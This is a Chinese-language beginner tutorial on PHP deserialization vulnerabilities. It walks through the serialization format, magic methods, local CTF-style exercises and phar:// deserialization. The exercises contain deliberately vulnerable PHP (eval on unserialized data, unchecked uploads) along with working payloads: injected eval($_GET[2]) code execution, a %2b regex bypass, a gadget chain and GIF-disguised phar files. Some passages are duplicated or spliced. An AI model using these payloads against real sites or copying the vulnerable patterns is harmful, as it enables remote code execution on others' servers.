PHP反序列化入门手把手详解

article/2025/4/17 7:08:18

PHP反序列化入门手把手详解

前言:文章内容大致可分为原理详解-漏洞练习-
防御方法。文章内容偏向于刚接触PHP反序列化的师傅,是一篇对PHP反序列化入门的手把手教学文章。文章特色在于对PHP反序列化原理的详细分析以及一系列由简入深的PHP反序列化习题练习和分析讲解。文章写作初衷是想借助REEBUF平台与入门安全的师傅分享自己入门期间的学习成果。最后特别感谢何君师傅的教导。

序列化与反序列化

名词解释

序列化:将变量转换为可保存或传输的字符串的过程;
反序列化:在适当的时候把这个字符串再转化成原来的变量使用。
优点:这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
例子1
例子:将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)

例子-对象压缩成字符串
1666006709348.png

例子-字符串还原成对象
1666006419469.png

例子2
再例如:网购家具,店家把家具拆分打包邮寄过来的过程就是序列化,反序列化就是买家根据说明书自定义将商品还原过程。

例子2-桌子拆分
例子2-桌子拆分.png

例子2-桌子组装还原
1666070684039.png

字符解释

字符详解
O:6:"Person":3:{s:4:"name";s:3:"tom";  s:11:"Personage";  i:18;   s:6:"*sex"; s:3:"boy";}O : 自定义对象 object
6  : 类名的长度
:3 : 3个成员属性
S:4 : 你的成员属性名  长度为4 ,并且是一个字符串   string
S:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:18 :  18是age的属性值 , i是代表  integer类型s:6:"*sex";  sex这个属性是一个受保护的属性,特征就是 * 号s:3:"boy : 代表 string类型,属性值长度为3位  boy对应是  sex的属性值

字符解释
1666006992952.png

private和 protected详解
PHP 序列化的时候 private和 protected 变量会引入不可见字符%00,%00类名%00属性名 为private,%00*%00属性名 为protected,注意这两个 %00就是 ascii 码为0 的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得清楚.我们可以将序列化的字符用urlencode编码之后,打印出来查看.

字符解释
1666007031526.png

PHP常见魔术方法

__construct
__construct:构造函数,会在每次创建新对象时先调用此方法

__construct
1666007580220.png

__destruct
__destruct:析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

__destruct
1666007704969.png

__toString
__toString:返回一个类被当做字符串时要输出的内容,此方法必须返回字符串并且不能在此方法中抛出异常,否则会产生致命错误。

__tostring
1666007830582.png

__invoke
__invoke:PHP5.3起,当尝试以函数的方式调用对象时,会调用此方法。

__invoke
1666007994884.png

__call
__call : 在对象中调用一个不可访问方法时调用。

__call
1666008283124.png

__sleep
__sleep:返回一个包含对象中所有应被序列化的变量名称的数组。serialize函数在序列化类时首先会检查类中是否存在__sleep方法。如果存在,会先调用此方法然后再执行序列化操作。并且只对__sleep返回的数组中的属性进行序列化。如果
__sleep不返回任何内容,则null会被序列化,并产生E_NOTICE级别的错误。__sleep不能返回父类的私有成员,否则会产生E_NOTICE级别的错误。对于一些很大但不需要保存全部数据的对象此方法很有用。
即序列化serialize时会调用__sleep.

__sleep
1666008877857.png

__wakeup
__wakeup:与__sleep相反,是在unserialize函数反序列化时首先会检查类中是否存在__wakeup方法,如果存在会先调用次方法然后再执行反序列化操作。用于在反序列化之前准备一些对象需要的资源,或其他初始化操作。
即反序列化unserialize时会自动调用__wakeup

__wakeup
1666009217308.png

PHP反序列化练习

一.初步认识

任务:通过传参让页面出现phpinfo界面

1.构建环境

习题代码
1666010195924.png

<?phpclass one
{var $b = 'phpinfo();';function action(){eval($this->b);}
}
$a = unserialize($_GET[1]);
$a->action();

2,分析

payload   O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}

①新建新文件用于存放预构造的代码

②实例化一个对象,将其序列化的内容打印出来

③得到其序列化的结果
习题分析

3.完成任务

1666010278300.png

4.加班->任意代码执行
习题代码

<?phpclass one
{var $b = 'phpinfo();';function action(){eval($this->b);}
}
$a = unserialize($_GET[1]);
$a->action();

5.习题解析

新建新文件用于存放预构造的代码,重新构造代码,将其实例化一个对象,把其序列化的内容打印出来

payload O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}

![习题解析]
1666010911581.png

6.执行命名,例如echo 123

paload O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo 123;

1666010872030.png

总结 :在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的

二.简单利用

任务:输出phpinfo或者其他任意代码执行

1.构建环境

<?php
class one
{var $b = 'echo 123;';function action(){eval($this->b);}
}
class Student
{var $a;function __construct(){$this->a = new one();}function __destruct(){$this->a->action();}
}
unserialize($_GET[1]);

1666012058017.png

2.解析,同理

①新建新文件用于存放预构造的代码

②实例化一个对象,将其序列化的内容打印出来

③得到其序列化的结果

payload O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}}

1666012436784.png

3.完成

payload O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}}&2=phpinfo();

1666012363178.png

三.相关绕过

任务:访问当前目录的1.txt文件

1.构造环境:当前目录创建1.txt 输入任意内容,通过反序列化读取文件内容

1666013578861.png

[构造环境]

习题代码

<?php
@error_reporting(1);
echo $_GET['data'];
class baby
{public $file;function <?php
@error_reporting(1);
echo $_GET['data'];
class baby
{public $file;function __toString(){if(isset($this->file)){$filename = "./{$this->file}";if (file_get_contents($filename)){return file_get_contents($filename);}}}
}
if (isset($_GET['data']))
{$data = $_GET['data'];preg_match('/[oc]:\d+:/i',$data,$matches);if(count($matches)){die('Hacker!');}else{$good = unserialize($data);echo $good;}
}
else
{highlight_file("./test4.php");
}
?>{if(isset($this->file)){$filename = "./{$this->file}";if (file_get_contents($filename)){return file_get_contents($filename);}}}
}
if (isset($_GET['data']))
{$data = $_GET['data'];preg_match('/[oc]:\d+:/i',$data,$matches);if(count($matches)){die('Hacker!');}else{$good = unserialize($data);echo $good;}
}
else
{highlight_file("./test4.php");
}
?>

习题代码

2.解析:

观察代码,上部分定义了类,下部分是过滤的代码,过滤后可以通过传参形式以反序列构造一个对象,然后将对象用字符串打印出来,触发上半部分的__toString()魔术方法,去执行预计代码。

既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化

习题解析
1666013753336.png

3.同理,构造->序列化

习题解析
1666013841120.png

4.过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验

过滤代码
1666014009275.png
5.可以通过+4等价代替 4 从而绕过检测(+ url编码为%2b)

payload  O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";}

绕过过滤

1666013969450.png

四.开始上手

任务:读取flag.GG的love

<?php
class A
{public $mod1;public $mod2;public function __destruct(){$this->mod1->test1();}
}
class B
{public $mod1;public $mod2;public function test1(){$this->mod1->test2();}
}
class C
{public $mod1;public $mod2;public function __call($test2, $arr){$s1 = $this->mod1;$s1();}
}
class D
{public $mod1;public $mod2;public function __invoke(){$this->mod2 = "字符串拼接" . $this->mod1;}
}
class E
{public $str1;public $str2;public function __toString(){$this->str1->get_flag();return "1";}
}
class GetFlag
{public function get_flag(){echo "flag:" . "GG的love";}
}$a = $_GET['string'];
unserialize($a);

解析:

涉及到对魔术方法的理解,需要回到初始部分,了解魔术方法的触发条件,建议依次由代码后头往前分析

习题解析
1666014602193.png

习题解析
1666014651360.png

习题解析
1666014675364.png

习题解析
1666014708480.png

习题解析
1666014760402.png

习题解析
1666014780681.png

解题:

代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用

payload
<?php
class A
{public $mod1;public $mod2;public function __construct(){$this->mod1 = new  B();}public function __destruct(){$this->mod1->test1();}
}
class B
{public $mod1;public $mod2;public function __construct(){$this->mod1 = new  C();}public function test1(){$this->mod1->test2();}
}
class C
{public $mod1;public $mod2;public function __construct(){$this->mod1 = new  D();}public function __call($test2, $arr){$s1 = $this->mod1;$s1();}
}
class D
{public $mod1;public $mod2;public function __construct(){$this->mod1 = new  E();}public function __invoke(){$this->mod2 = "字符串拼接" . $this->mod1;}
}
class E
{public $str1;public $str2;public function __construct(){$this->str1 = new  GetFlag();}public function __toString(){$this->str1->get_flag();return "1";}
}
class GetFlag
{public function get_flag(){echo "flag:" . "GG的love";}
}
$c = new A;
echo serialize($c);payload 
O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

实例化对象,输出序列化结果

输出序列化结果
1666055855622.png

结果

1666056041793.png
总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。

Phar文件和Phar协议

前言

通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大 假如没有unserialize(),没了传参接口那该怎么利用咧,这就需要 利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作 . 即通过本地构造phar文件把恶意代码本地序列化好,在将phar文件上传到目标网站,最后通过phar协议配合文件系统函数反序列化phar文件,达到预期目的.

phar文件详解

Phar文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。

phar文件分为四层

stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
//简单地说就是告诉系统自己是一个什么样的文件,声明文件后缀manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
//存放序列化的内容content:被压缩文件的内容signature (可空):签名,放在末尾。

生成phar文件

1.准备环境

1.1Phar需要 PHP >= 5.2
1.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)

phpstudy配置
1666090809497.png

2.具体代码:
<?php
class AnyClass{var $output = 'phpinfo();';function __destruct(){eval($this -> output);}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

phar文件生成
1666090498354.png
①要序列化的内容,即起到的作用同上文练习题里的test.php文件一样,我们把要构造的恶意代码放进来进行序列化

②上下部分的类命一致(其它选项可以保持默认)

2.1访问phar.php文件,生成phar.phar文件

phar.phar文件生成
1666090959788.png

2.2查看phar文件内容

phar文件内容查看
1666091068301.png
总结:phar.phar文件是在我们本地生成,然后上传到目标网站,配合phar协议和相关函数,造成反序列的杀伤链.所以不用担心前置的开启phpstudy配置操作会影响后续操作.利用条件核心在于1.phar文件要能够上传到服务器端。2.要有可用的魔术方法作为“跳板”。3.文件操作函数的参数可控,且
./ …/ phar等特殊字符没有被过滤。

利用条件:

1.phar文件要能够上传到服务器端。
2.要有可用的魔术方法作为“跳板”。
3.文件操作函数的参数可控,且   ./    ../    phar等特殊字符没有被过滤
文件操作函数

php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :

文件操作函数
1666091518005.png

绕过技巧:

1.环境限制了phar不能出现在前面的字符里
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
2.验证文件格式
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
3.绕过上传后缀检查

将phar.phar更名为phar.gif 不影响phar文件的最终执行

phar.gif

练习

一.初步了解

任务:目标1.php界面任务执行phpinfo()

1.php代码

<?php
class Files
{var $b = 'echo ok;';function __destruct(){eval($this->b);}
}
//$file = '../'.$_GET['file'];
is_dir('phar://phar.phar/test.txt');

1.php界面
1666095753278.png
解题:

分析:存在可控点以及文件操作函数,路径指向phar协议.可以直接访问1.php文件,传参执行恶意的代码

一 phar.php页面将恶意代码序列化

phar.phar文件生成
1666096005482.png
①保持类名一致

②构造恶意代码

③访问phar.php文件生成phar.phar文件

④可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)

二.1.php页面执行phpinfo()

目标界面执行phpinfo
1666095558119.png

二.进一步了解

通过phar协议读出Destruct called

目标文件

<?php
class TestObject
{public function __destruct(){echo 'Destruct called';}
}
$filename = $_GET['cmd'];
file_get_contents($filename);

2.php
1666094826497.png

分析:存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能,配合file_get_contents函数,执行phar.phar文件内序列化后的代码

1.同理,构造phar.phar文件,将恶意代码序列化存入phar.phar的.metadata.bin文件中

phar.phar文件生成
1666098815001.png
①保持类名一致

②访问phar.php文件

③生成phar.phar文件

2.访问目标文件

payload:phar://phar.phar/test.txt

完成执行
1666098582374.png

拓展:练习

具体代码

class Test
{public $num = 2;public function __destruct(){if ($this->num === 1) {echo 'flag{123}';}}
}
echo file_get_contents($_GET['data']);

(关键在于构建恶意的代码,关注点在 n u m = 2 − − − > num = 2 ---> num=2>num=1)

拓展练习
1666097212668.png

三.再进一步了解

任务:通过phar协议执行phpinfo

详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.

环境准备

1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件

2.www/目录(网站根目录)下新建upload_file文件夹

3.各个文件内容及解释

upload_file.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {echo "Upload: " . $_FILES["file"]["name"];echo "Type: " . $_FILES["file"]["type"];echo "Temp file: " . $_FILES["file"]["tmp_name"];if (file_exists("upload_file/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " already exists. ";}else{move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];}}
else{echo "Invalid file,you can only upload gif";}

upload_file.php:内容做了一个上传文件后缀的限制

upload_file.php
1666093061302.png
index.php 提供一个上传界面

<body>
<form action="http://localhost/upload_file" method="post" enctype="multipart/form-data"><input type="file" name="file" /><input type="submit" name="Upload" />
</form>
</body>

index.php
1666093202839.png

page.php 目标可控点

<?php
$filename=$_GET['filename'];
class AnyClass{var $output = 'echo "ok";';function __destruct(){eval($this -> output);}
}
file_exists($filename);

page.php
1666093391170.png

分析

1.目标存在可控点以及文件操作函数

page.php分析
1666093580339.png
2.只有upload_file.php的对上传文件的后缀限制

upload_file.php
1666094280884.png

解题

1.构造上传的phar文件

①通过phar.php生成的phar.phar文件,将phar.phar文件更改为phar.gif文件

phar文件生成
1666093764231.png
2.上传文件和执行

①成功上传②page页面成功执行phpinfo

page页面执行phpinfo
1666094091408.png

反序列化漏洞的防御

和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以最好的预防措施: 1.不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中。
2.在进入反序列化函数之前,对参数进行限制过滤,例如长度,特定参数等 
3.白名单为主,限制反序列化的类,从而减小影响
4.鉴权,反序列化接口进行鉴权,仅允许后台管理员等特许人员才可调用<?php
$filename=$_GET['filename'];
class AnyClass{var $output = 'echo "ok";';function __destruct(){eval($this -> output);}
}
file_exists($filename);

page.php
[外链图片转存中…(img-RgMRJt2S-1675845598909)]

分析

1.目标存在可控点以及文件操作函数

page.php分析
[外链图片转存中…(img-q3aK0M9T-1675845598909)]
2.只有upload_file.php的对上传文件的后缀限制

upload_file.php
[外链图片转存中…(img-Fejl9TGv-1675845598910)]

解题

1.构造上传的phar文件

①通过phar.php生成的phar.phar文件,将phar.phar文件更改为phar.gif文件

phar文件生成
[外链图片转存中…(img-thINU0AB-1675845598910)]
2.上传文件和执行

①成功上传②page页面成功执行phpinfo

page页面执行phpinfo
[外链图片转存中…(img-cDXxxo7U-1675845598910)]

反序列化漏洞的防御

和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以最好的预防措施: 1.不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中。
2.在进入反序列化函数之前,对参数进行限制过滤,例如长度,特定参数等 
3.白名单为主,限制反序列化的类,从而减小影响
4.鉴权,反序列化接口进行鉴权,仅允许后台管理员等特许人员才可调用

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享


http://chatgpt.dhexx.cn/article/dfbx3910.shtml

相关文章

[CTF]PHP反序列化总结

文章目录 PHP反序列化这一篇就够了简介常见的序列化格式案例引入反序列化中常见的魔术方法反序列化绕过小Trickphp7.1反序列化对类属性不敏感绕过__wakeup(CVE-2016-7124)绕过部分正则利用引用16进制绕过字符的过滤PHP反序列化字符逃逸情况1&#xff1a;过滤后字符变多情况2&am…

测试用例介绍

测试用例 用例介绍 定义 为某个业务目标而编制的一组由测试输入&#xff0c;执行条件以及预期结果组成的案例。 为什么要学习测试用例&#xff1f; 再开始测试之前设计好测试用例&#xff0c;可以避免盲目测试并提高测试效率。测试用例的使用令软件测试的实施突出重点、目…

软件测试的测试用例应该怎么编写和模板

这个是软件测试的模板下面是软件测试的一些测试点和测试方法 硬件测试方法: 1.界面测试 2.性能测试(压力测试、稳定性测试) 3.恢复性测试 4.兼容性测试 5.安全性测试 6.破坏性测试 7.可用性测试 8.易用性测试 9.功能操作测试 软件测试: loading:加载中。 可视化页面可操作元素…

测试用例模板

测试用例模板 文章目录 前言1.文件原地址2.测试用例模板1.测试用例模板012.测试用例模板023.测试用例模板034.测试用例模板045.测试用例模板05 2上线回归测试1.回归测试检查表01 3.其他见过的模型参考关键词链接 前言 这个是模仿别人的模板来进行补充的。有些是不需要的&…

测试用例模板及测试报告分析

文章目录 前言一、等价类划分二、边界值三、错误推测法四、因果图法判定表驱动法设计步骤设计策略 前言 文章主要介绍常见测试用例的设计方法 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、等价类划分 等价类划分主要适用于单个输入条件&#x…

测试 - 用例篇

文章目录 测试用例的基本要素基于需求设计的测试用例接下来就是针对一个功能的不同输入,对应着不同的输出功能之间的交互性异常信息的处理 等价类边界值错误猜测法 美团面试题:水杯测试用例场景法因果图法 复习 因为这篇博客是关于如何写测试用例,尽可能多的涵盖测试用例,所以我…

软件测试当中的测试用例模板,仅供参考

测试用例这块知识、经验&#xff0c;小酋在前面陆续都讲完了。这章提供几种用例模板&#xff0c;作为这块知识的收尾。 - 1 - 测试用例&#xff08;主指功能测试用例模板&#xff09;的内容通常包括测试目标&#xff08;目的&#xff09;&#xff0c;需求标示&#xff08;一般…

测试用例分析及编写

文章目录 1.测试用例1.1 用例与测试用例1.2 测试用例的作用1.3 测试用例的编写格式 2. 测试点的设计方法2.1 等价类划分法2.1.1 定义2.1.2 分类2.1.3 划分规则2.1.4 步骤2.1.5 适用场景2.1.6 案例2.1.6.1 验证QQ帐号的合法性2.1.6.2 验证某城市号码的正确性 2.2 边界值划分法2.…

测试用例,怎么写 ?

本文的测试用例主要针对功能测试。 软件测试中最重要的因素是设计和生成有效的测试用例。 穷举的测试是不可能的&#xff0c;合理的测试策略是通过使用特定的面向黑盒测试的测试用例设计方法&#xff0c;而后使用白盒测试方法对程序的逻辑结构进行检查以补充这些测试用例&…

测试:用例篇

上一章讲述的是测试的基本概念。在我们开始做了一段时间基础测试&#xff0c;熟悉了业务之后&#xff0c;往往会 分配来写测试用例&#xff0c;并且在日常测试中&#xff0c;有时也需要补充测试用例到现有的案例库中 在开始之前先讲讲测试中经典的测试方法&#xff1a;黑盒测试…

软件测试用例.范文,软件测试用例模板范文

软件测试用例模板范文 (8页) 本资源提供全文预览&#xff0c;点击全文预览即可全文预览,如果喜欢文档就下载吧&#xff0c;查找使用更方便哦&#xff01; 14.9 积分 XX 系统系统 测试用例测试用例 XX 系统-测试用例 1 由安博测试空间技术中心由安博测试空间技术中心 http://ww…

路由器与交换机知识总

路由器与交换机知识总结 路由器&#xff08;Router&#xff09;是一种计算机网络设备&#xff0c;提供了路由与转发机制&#xff0c;可以决定数据包从源到目的所经过的路径&#xff0c;这个过程就叫做路由&#xff1b;将路由器输入端的数据包交移到目的路由器&#xff0c;这个…

【计算机网络】路由器与交换机

-计算机网络 路由器就是 路由器&#xff1a;寻址&#xff0c;转发&#xff08;依靠 IP 地址&#xff09;&#xff0c;局域网内网的数据转发交换机&#xff1a;过滤&#xff0c;转发&#xff08;依靠 MAC 地址&#xff09;&#xff0c;连接局域网和外网 相信有很多人在学习网络…

OSI七层模型的各个功能?路由器与交换机的区别?冲突域,广播域

一、OSI总结 二、路由器与交换机的区别 2.1 外观 路由器和交换机的外观长得一样一样的,他们有个超级明显的区别,交换机的各个接口上标注的序列数字是有规律的&#xff0c;接口颜色也是一致的。 在路由器的接口上我们可以看到标注的数字是有规律的&#xff0c;标注为wan或者i…

第6节 构建简单局域网并实现远程管理路由器与交换机——基于PacketTracer仿真

1实验目标 在PacketTracer平台上构建以下两个局域网&#xff0c;并使用路由器相连。路由器&#xff0c;连接不同的局域网&#xff0c;其上的各个端口需要属于不同网段。交换机&#xff0c;连接同一网段内的设备。为各个设备配置IP、子网掩码、网关等。实现各个设备间能互相pin…

认识路由器与交换机,在常见的企业组网中起什么样的作用呢?

作者&#xff1a;一天&#xff0c;公众号&#xff1a;网络之路博客&#xff08;ID&#xff1a;NetworkBlog&#xff09;。让你的网络之路不在孤单&#xff0c;一起学习&#xff0c;一起成长。 前言 从这篇开始正式进入路由交换网络的讲解&#xff0c;这一篇&#xff0c;不讲解…

3.路由器与交换机的管理

路由器与交换机的管理 &#xff08;1&#xff09;通过带外方式对设备进行管理 &#xff08;2&#xff09;通过Telnet对设备进行远程管理 &#xff08;3&#xff09;通过Web对设备进行远程管理 &#xff08;4&#xff09;通过SNMP管理工作站对设备进行远程管理 实验1 交换机基…

路由器与交换机基本原理

路由器工作原理 定义 路由器是一种实现网络互联的设备&#xff0c;作为三层网络层设备提供路由与转发两种机制&#xff0c;可以决定数据包从源端到目的端的经过路径&#xff08;路由&#xff09;&#xff0c;以及将路由器输入端的数据包送到适当的路由器输出端&#xff08;内…

路由器与交换机的作用

路由器与交换机的作用(浅析) 拿到这个题目&#xff0c;不用想&#xff0c;先百度。 首先是路由器 说实话&#xff0c;看不懂&#xff0c;不过我看到了一个眼熟的东西&#xff08;TCP/IP&#xff09;&#xff0c;如果我没有记错的话&#xff0c;这个名词我在写post和get传参作…

路由器与交换机的区别是什么

路由器与交换机的主要区别体现在以下几个方面&#xff1a; &#xff08;1&#xff09;工作层次不同 &#xff08;2&#xff09;数据转发所依据的对象不同 交换机是利用物理地址或者说mac地址来确定转发数据的目的地址。 而路由器则是利用不同网络的id号&#xff08;即iP地址…